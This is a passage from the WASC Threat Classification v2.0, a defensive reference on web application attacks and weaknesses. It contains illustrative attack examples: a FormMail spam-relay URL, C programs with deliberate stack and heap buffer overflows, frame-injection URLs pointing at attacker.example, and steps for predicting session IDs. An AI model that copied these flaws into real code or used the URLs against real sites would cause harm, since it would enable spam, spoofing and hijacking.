WASC THREAT CLASSIFICATION

VERSION 2.00

Web Application Security Consortium

LAST UPDATE: 1/1/2010

TABLE OF CONTENTS

OVERVIEW

The WASC Threat Classification is a cooperative effort to clarify and organize the threats to the security of a web site. The members of the Web Application Security Consortium have created this project to develop and promote industry standard terminology for describing these issues. Application developers, security professionals, software vendors, and compliance auditors will have the ability to access a consistent language for web security related issues.

USING THE THREAT CLASSIFICATION

The Threat Classification v2.0 outlines the attacks and weaknesses that can lead to the compromise of a website, its data, or its users. This document primarily serves as a reference guide for each given attack or weakness and provides examples of each issue as well as helpful reference material. This document is utilized by many organizations and is typically used in the following ways.

REFERENCE MATERIAL

The TC was created and reviewed by industry experts with years of experience. The primary use is as a reference guide that can be included in security reports, security defects, presentations, and more. The TC content appears is numerous books, security products, and 3rd party security classification systems.

SECURITY ASSESSMENT CHECKLIST

If you are performing a security review against an application the TC serves as an enumeration of the threats which can be used to build a security focus/test plan.

BUG TRACKING

One way people use this document is to gather metrics on the security defects affecting their organization. When filing security defects into your bug tracking system you can assign the weakness or attack to a given bug to identify the frequency of specific threats to your organization.

If you have another use for the TC not outlined here please contact us (contact@webappsec.org) with the subject 'WASC Threat Classification Inquiry', we'd love to hear from you.

THREAT CLASSIFICATION EVOLUTION

The original scope of the Threat Classification version 2 was to add items missing from the first version, as well as update sections requiring a refresh. As additional items were added it was discovered that the scope, use cases, and purpose of the original document was not as well defined as it could have been. This created a serious hurdle and a much larger scope than we anticipated resulting in a much longer project release cycle. Upon clarifying the scope and terminology used we were faced with unforeseen challenges requiring us to rethink the classification system the Threat Classification was using in order to maintain a static, scalable foundation in which we can build upon.

This involved many vigorous months of discussing how to best represent these threats while factoring in that different consumers of the TC have different requirements and opinions for how they wanted the this data to be represented. It was quickly apparent that a one size fits all system simply wasn't feasible for satisfying all of these user requirements. It was concluded that the creation of a simplified system/base view classifying these threats into indexes of attacks and weaknesses would be the best fit for a scalable, firm foundation that we could build upon. Consequent versions of the TC will introduce additional data views allowing for multiple threat representations without compromising the core foundation. Future versions of the TC will also introduce additional attacks and weaknesses, indexes for impacts and mitigation's, and enhanced integrations with other applicable data points.

AUTHORS & CONTRIBUTORS

This document is the result of a team effort. The following people have contributed their time and expertise to this project:

Syed Mohamed A	Vicente Aguilera	Josh Amishav-Zlatin	Robert Auger
Ryan Barnett	Yuval Ben-Itzhak	Albert Caruana	Emilio Casbas
Erik Caso	Cesar Cerrudo	Eldad Chai	Bil Corry
Vicente Aguilera Díaz	Sacha Faust	Romain Gaucher	JD Glaser
Sergey V. Gordeychik	Jeremiah Grossman	Seth Hardy	Brad Hill
Achim Hoffmann	Sverre H. Huseby	Amit Klein	Ray Pompon
Aaron C. Newman	Steve Orrin	Bill Pennington	Mitja Kolsek
Ory Segal	Mike Shema	Ofer Shezaf	Chris Shiflett
Caleb Sima	Andy Steingruebl	Scott Stender	Tom Stripling
Stefan Strobel	Daniela Strobel	Cecil Su	Michael Sutton
Satoru Takahashi	Chet Thomas	Bedirhan Urgun	Joe White
Tom Stripling	Prasad Shenoy	John Terrill	Jeff Ichnowski
Mitja Kolsek	Joe White	Daniel Herrera	Kate Riley
Diana Desrocher	Shakeel Ali	Steve Jensen	Joren McReynolds

THREAT CLASSIFICATION FAQ

Here is a list of frequently asked questions pertaining to the WASC Threat Classification.

What is new in the Threat Classification v2?

- Expanded Mission Statement
- Clarified terminology
- Proper Classification of threats into Attacks and Weaknesses for static/core view
- Base foundation allowing for the introduction of views into future releases.

How can I use the Threat Classification?

The main use of the Threat Classification is as industry expert authored reference material. All TC sections have been thoroughly peer reviewed line by line to achieve the highest state of quality and accuracy.

What happened to the old Threat Classification v1 structure?

The short answer is that the old structure wasn't firmly based on a set of rules and prevented us from expanding it. Additionally it was very limited in how the TC could be used. Please visit the Threat Classification's Evolution section for a detailed explanation.

What are data views?

Views are different ways to represent the same core set of data. The original Threat Classification v1 structure could be considered one way to represent attacks and weaknesses. Views are useful for conveying specific points and allow the core set of data to be used for different purposes.

What terminology is the TC using?

Please visit our terminology section for the definitions used throughout the TC.

Will the TC ever implement mitigations?

We're currently discussing introducing mitigations to future versions of the TC. At this time we don't have a schedule for when they will be included.

How was the TC created?

The Threat Classification was created in an open source group setting made up by industry experts in the security field. Each section was authored and received weeks of peer review in a public setting to ensure accuracy and clarity for each issue.

Is this a replacement for CWE/CAPEC?

Absolutely not. The work done by the MITRE folks is far more comprehensive than anything online. The TC serves as a usable document for the masses (developers, security professionals, quality assurance) whereas CWE/CAPEC is more focused for academia. There is a mailing list thread discussing some of the differences between CWE/CAPEC/WASC.

I'd like to contribute, how can I?

Comments and discussions regarding the WASC TC may be directed publicly on our mailing list 'The Web Security Mailing List' at http://www.webappsec.org/lists/websecurity/. Those wishing to provide private feedback may reach us at contact at webappsec.org with the subject 'WASC TC Inquiry' and we hook you up with how to contribute.

Who is the project leader?

The TCV2 and current project leader is Robert Auger. The original TCv1 project leader was Jeremiah Grossman.

Just who worked on the Threat Classification?

Many, many people worked on the TC. Check out the Threat Classification Authors and Contributors entry for a full list.

I'd like to reference a specific TC item, how can I do this?

The TCv2 has introduced static reference identifiers for each item. You can see the entire list of identifiers at the Threat Classification Reference Grid, or you can view an individual item and see the identifier at the top of the section.

When will the next update to the TC be?

Updating the TCv1 to TCv2 was a monumental effort. We're going to be taking a few months off before performing additional updates. Chances are we'll restart the project in mid 2010.

What will be included in the next release of the TC?

We have created a working page at http://projects.webappsec.org/Threat-Classification-Future which will outline our plans for the next release. The next release of the TC will be including content around cryptograph based attacks and weaknesses.

THREAT CLASSIFICATION GLOSSARY

Threat: "A potential violation of security" – ISO 7498-2

Impact: Consequences for an organization or environment when an attack is realized, or weakness is present.

Attack: A well-defined set of actions that, if successful, would result in either damage to an asset, or undesirable operation.

Vulnerability: "An occurrence of a weakness (or multiple weaknesses) within software, in which the weakness can be used by a party to cause the software to modify or access unintended data, interrupt proper execution, or perform incorrect actions that were not specifically granted to the party who uses the weakness."

– CWE (http://cwe.mitre.org/documents/glossary/index.html#Vulnerability)

Weakness: "A type of mistake in software that, in proper conditions, could contribute to the introduction of vulnerabilities within that software. This term applies to mistakes regardless of whether they occur in implementation, design, or other phases of the SDLC."

- CWE (http://cwe.mitre.org/documents/glossary/index.html#Weakness)

THREAT CLASSIFICATION DATA VIEWS

Data Views are ways to represent the same core set of data for different purposes. The original Threat Classification v1 structure could be considered one way to represent attacks and weaknesses. Views are useful for conveying specific points and allow the core set of data to be used for different purposes. The Threat Classification v2 was published with two views, the "Enumeration View" and "Development Phase View".

Threat Classification "Enumeration View"

This view enumerates the attacks, and weaknesses that can lead to the compromise of a website, its data, or its users. This serves as the base view for the WASC Threat Classification.

Grid Representation

Attacks	Weaknesses
Abuse of Functionality	Application Misconfiguration
Brute Force	Directory Indexing
Buffer Overflow	Improper Filesystem Permissions
Content Spoofing	Improper Input Handling
Credential/Session Prediction	Improper Output Handling
Cross-Site Scripting	Information Leakage
Cross-Site Request Forgery	Insecure Indexing
Denial of Service	Insufficient Anti-automation
Fingerprinting	Insufficient Authentication
Format String	Insufficient Authorization
HTTP Response Smuggling	Insufficient Password Recovery
HTTP Response Splitting	Insufficient Process Validation
HTTP Request Smuggling	Insufficient Session Expiration
HTTP Request Splitting	Insufficient Transport Layer Protection
Integer Overflows	Server Misconfiguration
LDAP Injection	
Mail Command Injection	
Null Byte Injection	
OS Commanding	
Path Traversal	
Predictable Resource Location	
Remote File Inclusion (RFI)	
Routing Detour	
Session Fixation	
SOAP Array Abuse	

SSI Injection	
SQL Injection	
URL Redirector Abuse	
XPath Injection	
XML Attribute Blowup	
XML External Entities	
XML Entity Expansion	
XML Injection	
XQuery Injection	

Tree Representation:

Attacks

- Abuse of Functionality
- Brute Force
- Buffer Overflow
- Content Spoofing
- Credential/Session Prediction
- Cross-Site Scripting
- Cross-Site Request Forgery
- Denial of Service
- Fingerprinting
- Format String
- HTTP Response Smuggling
- HTTP Response Splitting
- HTTP Request Smuggling
- HTTP Request Splitting
- Integer Overflows
- LDAP Injection
- Mail Command Injection
- Null Byte Injection
- OS Commanding
- Path Traversal
- Predictable Resource Location
- Remote File Inclusion (RFI)
- Routing Detour
- Session Fixation
- SOAP Array Abuse
- SSI Injection
- SQL Injection
- URL Redirector Abuse
- XPath Injection

- XML Attribute Blowup
- XML External Entities
- XML Entity Expansion
- XML Injection
- XQuery Injection

Weaknesses

- Application Misconfiguration
- Directory Indexing
- Improper Filesystem Permissions
- Improper Input Handling
- Improper Output Handling
- Information Leakage
- Insecure Indexing
- Insufficient Anti-automation
- Insufficient Authentication
- Insufficient Authorization
- Insufficient Password Recovery
- Insufficient Process Validation
- Insufficient Session Expiration
- Insufficient Transport Layer Protection
- Server Misconfiguration

Threat Classification 'Development Phase View'

This WASC Threat Classification view was created to loosely outline where in the development lifecycle a particular type of vulnerability is **likely** to be introduced. This view was created in an attempt identify common root occurrences/development phases for vulnerability introduction, and **does not attempt to address improperly patched servers**, **or** enumeration of **edge cases**. This view makes use of many to many relationships.

Definitions

Design: Covers vulnerabilities that are likely to be introduced due to a lack of mitigations specified in the software design/requirements, or due to a poorly/improperly defined design/requirement.

Implementation: Covers vulnerabilities that are likely to be introduced due to a poor choice of implementation.

Deployment: Covers vulnerabilities that are likely to be introduced due to poor deployment procedures, or bad application/server configurations.

Grid Representation:

Vulnerability	Design	Implementation	Deployment
Abuse of Functionality	X		
Application Misconfiguration		X	X
Brute Force	X	X	
Buffer Overflow		X	
Content Spoofing		X	
Credential/Session Prediction		X	
Cross-Site Scripting		X	
Cross-Site Request Forgery	X	X	
Denial of Service	X	X	
Directory Indexing			X
Format String		X	
HTTP Response Smuggling		X	
HTTP Response Splitting		X	
HTTP Request Smuggling		X	
HTTP Request Splitting		X	
Integer Overflows		X	
Improper Filesystem Permissions		X	X
Improper Input Handling		X	
Improper Output Handling		X	
Information Leakage	X	X	X
Insecure Indexing		X	X
Insufficient Anti-automation	X	X	
Insufficient Authentication	X	X	
Insufficient Authorization	X	X	

Insufficient Password Recovery	X	X	
Insufficient Process Validation	X	X	
Insufficient Session Expiration	X	X	X
Insufficient Transport Layer Protection	X	X	X
LDAP Injection		X	
Mail Command Injection		X	
Null Byte Injection		X	
OS Commanding		X	
Path Traversal		X	
Predictable Resource Location		X	X
Remote File Inclusion (RFI)		X	X
Routing Detour			X
Server Misconfiguration			X
Session Fixation		X	X
SQL Injection		X	
URL Redirector Abuse	X	X	
XPath Injection		X	
XML Attribute Blowup		X	
XML External Entities		X	
XML Entity Expansion		X	
XML Injection		X	
XQuery Injection		X	

Tree Representation:

Design

- Abuse of Functionality
- Brute Force
- Cross-Site Request Forgery
- Denial of Service
- Information Leakage
- Insufficient Anti-automation
- Insufficient Authentication
- Insufficient Authorization
- Insufficient Password Recovery
- Insufficient Process Validation
- Insufficient Session Expiration
- Insufficient Transport Layer Protection
- URL Redirector Abuse

Implementation

- Application Misconfiguration
- Buffer Overflow
- Content Spoofing
- Credential/Session Prediction
- Cross-Site Scripting
- Cross-Site Request Forgery
- Denial of Service
- Format String
- HTTP Request Splitting
- HTTP Request Smuggling
- HTTP Response Smuggling
- HTTP Response Splitting
- Improper Filesystem Permissions
- Improper Input Handling
- Improper Output Handling
- Information Leakage
- Insecure Indexing
- Insufficient Anti-automation
- Insufficient Authentication
- Insufficient Authorization
- Insufficient Process Validation
- Insufficient Password Recovery
- Insufficient Session Expiration
- Insufficient Transport Layer Protection
- Integer Overflows
- LDAP Injection
- Mail Command Injection
- Null Byte Injection
- OS Commanding
- Path Traversal
- Predictable Resource Location
- Remote File Inclusion (RFI)
- SOAP Array Abuse
- SSI Injection
- Session Fixation
- SQL Injection
- XPath Injection
- XML Attribute Blowup
- XML External Entities
- XML Entity Expansion
- XML Injection
- XQuery Injection
- URL Redirector Abuse

Deployment

- Application Misconfiguration
- Directory Indexing
- Improper Filesystem Permissions
- Information Leakage
- Insecure Indexing
- Insufficient Session Expiration
- Insufficient Transport Layer Protection
- Predictable Resource Location
- Remote File Inclusion (RFI)
- Routing Detour
- Server Misconfiguration
- Session Fixation

ATTACKS

ABUSE OF FUNCTIONALITY (WASC-42)

Abuse of Functionality is an attack technique that uses a web site's own features and functionality to attack itself or others. Abuse of Functionality can be described as the abuse of an application's intended functionality to perform an undesirable outcome. These attacks have varied results such as consuming resources, circumventing access controls, or leaking information. The potential and level of abuse will vary from web site to web site and application to application. Abuse of functionality attacks are often a combination of other attack types and/or utilize other attack vectors.

EXAMPLES

Some examples of Abuse of Functionality are:

- Abusing Send-Mail Functions
- Abusing Password-Recovery Flows
- Abusing functionality to make unrestricted proxy requests

ABUSING SEND-MAIL FUNCTIONS

Web Applications that send mail must be careful to not allow the user complete control over message headers and content. If an attacker can control the From, To, Subject, and Body of a message and there are no anti-automation controls in place email functions can be turned into spam-relay vehicles.

FORMMAIL

The PERL-based web application "FormMail" was normally used to transmit user-supplied form data to a preprogrammed e-mail address. The script offered an easy to use solution for web site's to gather feedback. For this reason, the FormMail script was one of the most popular CGI programs on-line. Unfortunately, this same high degree of utility and ease of use was abused by remote attackers to send e-mail to any remote recipient. In short, this web application was transformed into a spam-relay engine with a single browser web request.

An attacker merely has to craft an URL that supplied the desired e- mail parameters and perform an HTTP GET to the CGI, such as:

```
http://example/cgi-bin/FormMail.pl?
recipient=email@victim.example&message=you%20got%20spam
```

An email would be dutifully generated, with the web server acting as the sender, allowing the attacker to be fully proxied by the web- application. Since no security mechanisms existed for this version of the script, the only viable defensive measure was to rewrite the script with a hard-coded e-mail address. Barring that, site operates were forced to remove or replace the web application entirely.

ABUSING PASSWORD RECOVERY FLOWS

Password recovery flows can often be abused to leak data about accounts that would otherwise be secret. Although usernames on many websites are public knowledge, many sites such as online banks do not reveal a username except to the owner of that account.

Some password recovery flows perform the following steps:

1. Ask user for username/email
2. Message the user that a mail has been sent to their account
3. Send user a link allowing them to change their password

In these types of recovery flows there can be information leakage in step-2 by confirming that the user entered a valid email address and/or account name. This can be avoided by having generic messaging on this flow or requiring more specific information about the account before sending a reset email.

UNAUTHORIZED PROXY REQUESTS

Some services such as Google Translate can be abused to act as open proxy servers. Google Translate request functionality allows it to be used as an open proxy server and anonymizer. This Google issue was first described by Sergey Gordeychik and 3APA3A in 2004.

REFERENCES

"FormMail Real Name/Email Address CGI Variable Spamming Vulnerability"

[1] http://www.securityfocus.com/bid/3955

"MX Injection : Capturing and Exploiting Hidden Mail Servers"

[2] http://www.webappsec.org/projects/articles/121106.shtml

"CVE-1999-0800"

[3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0800

"Bypassing Client Application Protection Techniques"

[4] http://www.securiteam.com/securityreviews/6S0030ABPE.html

BRUTE FORCE (WASC-11)

A brute force attack is a method to determine an unknown value by using an automated process to try a large number of possible values. The attack takes advantage of the fact that the entropy of the values is smaller than perceived. For example, while an 8 character alphanumeric password can have 2.8 trillion possible values, many people will select their passwords from a much smaller subset consisting of common words and terms.

The sections below describe brute force attacks common to web applications.

BRUTE FORCING LOG-IN CREDENTIALS

The most common type of a brute force attack in web applications is an attack against log-in credentials. Since users need to remember passwords, they often select easy to memorize words or phrases as passwords, making a brute force attack using a dictionary useful. Such an attack attempting to log-in to a system using a large list of words and phrases as potential passwords is often called a "word list attack" or a "dictionary attack". Attempted passwords may also include variations of words common to passwords such as those generated by replacing "o" with "0" and "i" with "1" as well as personal information including family member names, birth dates and phone numbers.

An attacker may try to guess a password alone or guess both the user name and the password. In the later case the attacker might fix the user name and iterate through a list of possible passwords, or fix the password and iterate through a list of possible user names. The second method, called a reverse brute force attack, can only get the credentials of a random user, but is useful when the attacked system locks users after a number of failed log-in attempts.

BRUTE FORCING SESSION IDENTIFIERS

Since HTTP is a stateless protocol, in order to maintain state web applications need to ensure that a session identifier is sent by the browser with each request. The session identifier is most commonly stored in an HTTP cookie or URL. Using a brute force attack, an attacker can guess the session identifier of another user. This can lead to the attacker impersonating the user, retrieving personal information and performing actions on behalf of the user.

Session identifiers usually consist of a number or a sequence of characters. In order for a brute force attack to succeed, the possible range of values for the session identifier must be limited. If the predicted range of values for a session identifier is very small based on existing information the attack is referred to as a session prediction attack [4].

BRUTE FORCING DIRECTORIES AND FILES

When files reside in directories that are served by the web server but are not linked anywhere, accessing those files requires knowing their file name. In some cases those files have been left by mistake: for example a backup file automatically created when editing a file or leftovers from an older version of the web application. In other cases files are intentionally left unlinked as a "security by obscurity" mechanism allowing only people who know the file names to access them.

A brute force attack tries to locate the unlinked file by trying to access a large number of files. The list of attempted file names might be taken from a list of known potential files or based on variants of the visible files on the web site. More information on brute forcing directories and files can be found in the associated vulnerability, predictable resource location [5].

BRUTE FORCING CREDIT CARD INFORMATION

Shopping online with stolen credit cards usually requires information in addition to the credit card number, most often the CVV/SCS [6] and/or expiration date. A fraudster may hold a stolen credit card number without the additional information. For example the CVV/CSC is not imprinted on the card or stored on the magnetic stripe so it cannot be collected by mechanical or magnetic credit card swiping devices.

In order to fill in the missing information the hacker can guess the missing information using a brute force technique, trying all possible values.

- Guessing CVV/CSC requires only 1000 or 10000 attempts as the number is only 3 or 4 digits, depending on the card type.
- Guessing an expiration date requires only several dozen attempts.

EXAMPLE

Brute force attacks are by no means limited to the scenarios described above. For example, a password reminder feature may enable a user to retrieve a forgotten password by providing a personal detail known just to him. However, if the personal detail is "favorite color" then an attacker can use a brute force attack to retrieve the password as the number of color choices is limited. In addition, studies have shown that approximately 40% of the population selects blue as their favorite color [7], so even if the attacker is locked out after three attempts, that would still enable the attacker to retrieve a fair amount of passwords.

REFERENCES

"Brute Force", Wikipedia

[1] http://en.wikipedia.org/wiki/Brute_force_attack

"Brute-Force Exploitation of Web Application Session ID's", David Endler – iDEFENSE Labs

[2] http://www.cgisecurity.com/lib/SessionIDs.pdf

"Brute force attack incidents", the Web Hacking Incidents Database

[3] http://whid.webappsec.org/whid-list/Brute%20Force

Credential/Session Prediction

[4] http://projects.webappsec.org/Credential-and-Session-Prediction

Predictable Resource Location

[5] http://projects.webappsec.org/Predictable-Resource-Location

"Card Security Code", Wikipedia

[6] http://en.wikipedia.org/wiki/Card_Verification_Value

"Color Assignment, Favorite Color", Joe Hallock

[7] http://www.joehallock.com/edu/COM498/preferences.html

BUFFER OVERFLOW (WASC-07)

A Buffer Overflow is a flaw that occurs when more data is written to a block of memory, or buffer, than the buffer is allocated to hold. Exploiting a buffer overflow allows an attacker to modify portions of the target process' address space. This ability can be used for a number of purposes, including the following:

- Control the process execution
- Crash the process
- Modify internal variables

The attacker's goal is almost always to control the target process' execution. This is accomplished by identifying a function pointer in memory that can be modified, directly or indirectly, using the overflow. When such a pointer is used by the program to direct program execution through a jump or call instruction, the attacker-supplied instruction location will be used, thereby allowing the attacker to control the process.

In many cases, the function pointer is modified to reference a location where the attacker has placed assembled machine-specific instructions. These instructions are commonly referred to as *shellcode*, in reference to the fact that attackers often wish to spawn a command-line environment, or shell, in the context of the running process.

Buffer overflows are most often associated with software written in the C and C++ programming languages due to their widespread use and ability to perform direct memory manipulation with common programming constructs. It should be emphasized, however, that buffer overflows can exist in any programming environment where direct memory manipulation is allowed, whether through flaws in the compiler, runtime libraries, or features of the language itself.

TYPES OF BUFFER OVERFLOWS

Buffer Overflows can be categorized according to the location of the buffer in question, a key consideration when formulating an exploit. The two main types are *Stack-Based Overflow* and *Heap-Based Overflow.* Buffers can be located in other areas of process memory, though such flaws are not as common.

STACK-BASED OVERFLOW

The "stack" refers to a memory structure used to organize data associated with function calls, including function parameters, function-local variables, and management information such as frame and instruction pointers. The details of the stack layout are defined by the computer architecture and by the function calling convention used.

In a stack-based overflow, the buffer in question is allocated on the stack. The following code illustrates a stack-based overflow.

```
Void bad_function(char *input)
{
char dest_buffer[32];
strcpy(dest_buffer, input);
printf("The first command-line argument is %s.\n", dest_buffer);
}
int main(int argc, char *argv[])
{
if (argc > 1)
{
bad_function(argv[1]);
}
else
{
printf("No command-line argument was given.\n");
}
return 0;
}
```

Example 1 – A C program with a stack-based buffer overflow

In this example, the first command-line argument, `argv[1]`, is passed to `bad_function`. Here, it is copied to `dest_buffer`, which has a size of 32 bytes allocated on the stack. If the command-line argument is greater than 31 bytes in length, then the length of the string plus its null terminator will exceed the size of `dest_buffer`. The exact behavior at this point is undefined. In practice, it will depend on the compiler used and the contents of the command-line argument; suffice it to say that a string of 40 "A" characters will almost certainly crash the process.

The canonical exploit for a stack-based buffer overflow on the IA32 platform is to overwrite the calling function's return pointer. This value is located after function local variables on the stack and stores the location of the calling function's instruction pointer. When this value is modified, it allows the attacker to set any location in memory as the active instruction once the currently-executing function returns.

HEAP-BASED OVERFLOW

The "heap" refers to a memory structure used to manage dynamic memory. Programmers often use the heap to allocate memory whose size is not known at compile-time, where the amount of memory required is too large to fit on the stack, or where the memory is intended to be used across function calls.

In a heap-based overflow, the buffer in question is allocated on the heap. The following code illustrates a heap-based overflow.

```
Int main(int argc, char *argv[])
{
char *dest_buffer;
dest_buffer = (char *) malloc(32);
if (NULL == dest_buffer)
return -1;
if (argc > 1)
{
strcpy(dest_buffer, argv[1]);
printf("The first command-line argument is %s.\n", dest_buffer);
}
else
{
printf("No command-line argument was given.\n");
}
free(dest_buffer);
return 0;
}
```

Example 2 – A C program with a heap-based buffer overflow

The goal of the exploit in a heap-based overflow is similar to that of a stack-based overflow: identify data after the overflowed buffer that can be used to control program execution. The canonical exploit for heap overflows is to manipulate heap

data structures such that subsequent calls to memory management functions such as malloc or free cause attacker-supplied data to be written to an attacker-supplied location. This capability is then used to overwrite a commonly-used function pointer, giving the attacker control once that pointer is used to direct execution. It should be noted that this exploit scenario assumes a heap manager that stores such structures along with the allocated data, which is not always the case.

INTEGER OPERATIONS AND BUFFER OVERFLOWS

Buffer overflows are often the result of problems with integer operations, specifically with integer overflows, underflows, and issues with casting between integer types. More details of such attacks can be found in the Integer Overflow section.

BUFFER OVERFLOW DEFENSES

The easiest way to address buffer overflows is to avoid them in the first place. Higher-level languages such as Java, C#, and scripting languages do not encourage low-level memory access during common operations like using strings. These are safer alternatives to C and C++.

If language choice is not an option, and C or C++ must be used, it is best to avoid dangerous APIs whose use often leads to buffer overflows. Instead, libraries or classes explicitly created to perform string and other memory operations in a secure fashion should be used.

RUNTIME PROTECTIONS AGAINST BUFFER OVERFLOWS

It should also be noted that many runtime protections exist for buffer overflows. Such protections include:

- The use of canaries, or values whose modification can be detected, that signal when a stack buffer overflow occurs
- The use of "no execute" protections for memory locations that limit the ability of attacker-supplied shellcode to be executed
- The use of address layout randomization to prevent the use of function pointers typically located in a well-known location
- The use of heap management structures that do not store heap management metadata alongside heap data

Runtime protection measures should be considered defense-in-depth actions that make buffer overflows more difficult, but not impossible, to exploit. It is highly recommended that all buffer overflows be addressed by fixing the code where they originate.

REFERENCES

GENERAL REFERENCE

"Intel 64 and IA-32 Architectures Software Developer's Manual"

[1] http://download.intel.com/design/processor/manuals/253665.pdf

BUFFER OVERFLOW

"Smashing the Stack for Fun and Profit", By Aleph One – Phrack 49

[2] http://www.phrack.com/issues.html?issue=49&id=14#article

"w00w00 on Heap Overflows" By Matt Conover and w00w00 Security Team.

[3] http://www.w00w00.org/files/articles/heaptut.txt

"The Shellcoder's Handbook, 2ed." By Anley, C., Heasman, J., Linder, F., & Richarte, G.

[4] Wiley Press

"The Art of Software Security Assessment", By Dowd, M., McDonald, J., & Schuh, J.

[5] Addison Wesley Professional Press

"CWE-119: Failure to Constrain Operations within the Bounds of a Memory Buffer"

[6] http://cwe.mitre.org/data/definitions/119.html

Protecting Against "strlcpy and strlcat – Consistent, Safe, String Copy and Concatenation.", By Miller, T. C., & de Raadt, T.

[7] http://www.tw.openbsd.org/papers/ven05-deraadt/index.html

"Using the Strsafe.h Functions."

[8] http://msdn.microsoft.com/en-us/library/ms647466.aspx

"Security Development Lifecycle (SDL) Banned Function Calls" by Howard, M.

[9] http://msdn.microsoft.com/en-us/library/bb288454.aspx

"StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks.", by Cowan, C., Pu, C., Maier, D., Walpole, J., Bakke, P., Beattie, S., et al.

[10] Proceedings of the 7th USENIX Security Symposium. San Antonio, TX.

"Windows Vista ISV Security" By Howard, M., & Thomlinson, M.

[11] http://msdn.microsoft.com/en-us/library/bb430720.aspx

RELATED ATTACKS

"Integer Overflows", WASC Threat Classification

[12] http://projects.webappsec.org/Integer-Overflow

"Format String Attack", WASC Threat Classification

[13] http://projects.webappsec.org/Format-String

CONTENT SPOOFING (WASC-12)

Content Spoofing is an attack technique that allows an attacker to inject a malicious payload that is later misrepresented as legitimate content of a web application.

TEXT ONLY CONTENT SPOOFING

A common approach to dynamically build pages involves passing the body or portions thereof into the page via a query string value. This approach is common on error pages, or sites providing story or news entries. The content specified in this parameter is later reflected into the page to provide the content for the page.

Example:

```
http://foo.example/news?id=123&title=Company+y+stock+goes+up+5+percent+on+news+of
+sale
```

The "title" parameter in this example specifies the content that will appear in the HTML body for the news entries. If an attacker where to replace this content with something more sinister they might be able to falsify statements on the destination website.

Example:

```
http://foo.example/news?id=123title=Company+y+filing+for+bankrupcy+due+to+insider
+corruption,+investors+urged+to+sell+by+finance+analyists...
```

Upon visiting this link the user would believe the content being displayed as legitimate. In this example the falsified content is directly reflected back on the same page, however it is possible this payload may persist and be displayed on a future page visited by that user.

MARKUP REFLECTED CONTENT SPOOFING

Some web pages are served using dynamically built HTML content sources. For example, the source location of a frame <frame src="http://foo.example/file.html">) could be specified by a URL parameter value. (http://foo.example/page?frame_src=http://foo.example/file.html).
An attacker may be able to replace the "frame_src" parameter value with "frame_src=http://attacker.example/spoof.html". Unlike redirectors, when the resulting web page is served the browser location bar visibly remains under the user expected domain (foo.example), but the foreign data (attacker.example) is shrouded by legitimate content.

Specially crafted links can be sent to a user via e-mail, instant messages, left on bulletin board postings, or forced upon users by a Cross-site Scripting attack [5]. If an attacker gets a user to visit a web page designated by their malicious URL, the user will believe he is viewing authentic content from one location when he is not. Users will implicitly trust the spoofed content since the browser location bar displays http://foo.example, when in fact the underlying HTML frame is referencing http://attacker.example.

This attack exploits the trust relationship established between the user and the web site. The technique has been used to create fake web pages including login forms, defacements, false press releases, etc.

EXAMPLE

Creating a spoofed press release. Let's say a web site uses dynamically created HTML frames for their press release web pages. A user would visit a link such as (http://foo.example/pr?pg=http://foo.example/pr/01012003.html). The resulting web page HTML would be:

Code Snippet:

```
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" src="menu.html">
<FRAME NAME="pr_content"
src="http://foo.example/pr/01012003.html">
</FRAMESET>
</HTML>
```

The "pr" web application in the example above creates the HTML with a static menu and a dynamically generated FRAME SRC. The "pr_content" frame pulls its source from the URL parameter value of "pg" to display the requested press release content. But what if an attacker altered the normal URL to http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html? Without properly sanity checking the "pg" value, the resulting HTML would be:

Code Snippet:

```
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" src="menu.html">
<FRAME NAME="pr_content" src="
http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
```

To the end user, the "http://attacker.example" spoofed content appears authentic and delivered from a legitimate source. It is important to understand that if you are vulnerable to Cross-Site Scripting (XSS) you are likely vulnerable to content spoofing. Additionally you can be protected from XSS and still be vulnerable to Content Spoofing.

REFERENCES

[1] "A new spoof: all frames-based sites are vulnerable", SecureXpert Labs

http://tbtf.com/archive/11-17-98.html#s02

[2] "Chapter 7 of 'Preventing Web Attacks with Apache' ", Ryan Barnett

http://searchsecurity.techtarget.com/generic/0,295582,sid14_gci1170472,00.html

[3] "Wired.com Image Viewer Hacked to Create Phony Steve Jobs Health Story"

http://blog.wired.com/business/2009/01/wiredcom-imagev.html

URL Redirector Abuse

[4] http://projects.webappsec.org/URL-Redirector-Abuse

Cross-site Scripting

[5] http://projects.webappsec.org/Cross-Site-Scripting

CREDENTIAL/SESSION PREDICTION (WASC-18)

Credential/Session Prediction is a method of hijacking or impersonating a web site user. Deducing or guessing the unique value that identifies a particular session or user accomplishes the attack. Also known as Session Hijacking, the consequences could allow attackers the ability to issue web site requests with the compromised user's privileges.

Many web sites are designed to authenticate and track a user when communication is first established. To do this, users must prove their identity to the web site, typically by supplying a username/password (credentials) combination. Rather than passing these confidential credentials back and forth with each transaction, web sites will generate a unique "session ID" to identify the user session as authenticated. Subsequent communication between the user and the web site is tagged with the session ID as "proof" of the authenticated session. If an attacker is able predict or guess the session ID of another user, fraudulent activity is possible.

EXAMPLE

Many web sites attempt to generate session IDs using proprietary algorithms. These custom methodologies might generation session IDs by simply incrementing static numbers. Or there could be more complex procedures such as factoring in time and other computer specific variables.

The session ID is then stored in a cookie, hidden form-field, or URL. If an attacker can determine the algorithm used to generate the session ID, an attack can be mounted as follows:

- attacker connects to the web application acquiring the current session ID.
- attacker calculates or Brute Forces the next session ID.
- attacker switches the current value in the cookie/hidden form-field/URL and assumes the identity of the next user.

REFERENCES

"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler – iDEFENSE Labs

[1] http://www.cgisecurity.com/lib/SessionIDs.pdf

"Best Practices in Managing HTTP-Based Client Sessions", Gunter Ollmann –

[2] http://www.technicalinfo.net/papers/WebBasedSessionManagement.html

"A Guide to Web Authentication Alternatives", Jan Wolter

[3] http://www.unixpapa.com/auth/homebuilt.html

"Stompy tool", Michal Zalewski

[4] http://lcamtuf.coredump.cx/soft/stompy.tgz

"Ruining Security with java.util.Random", Jan P. Monsch

[5] http://www.iplosion.com/papers/ruining_security_with_java.util.random_v1.0.pdf

CROSS-SITE SCRIPTING (WASC-08)

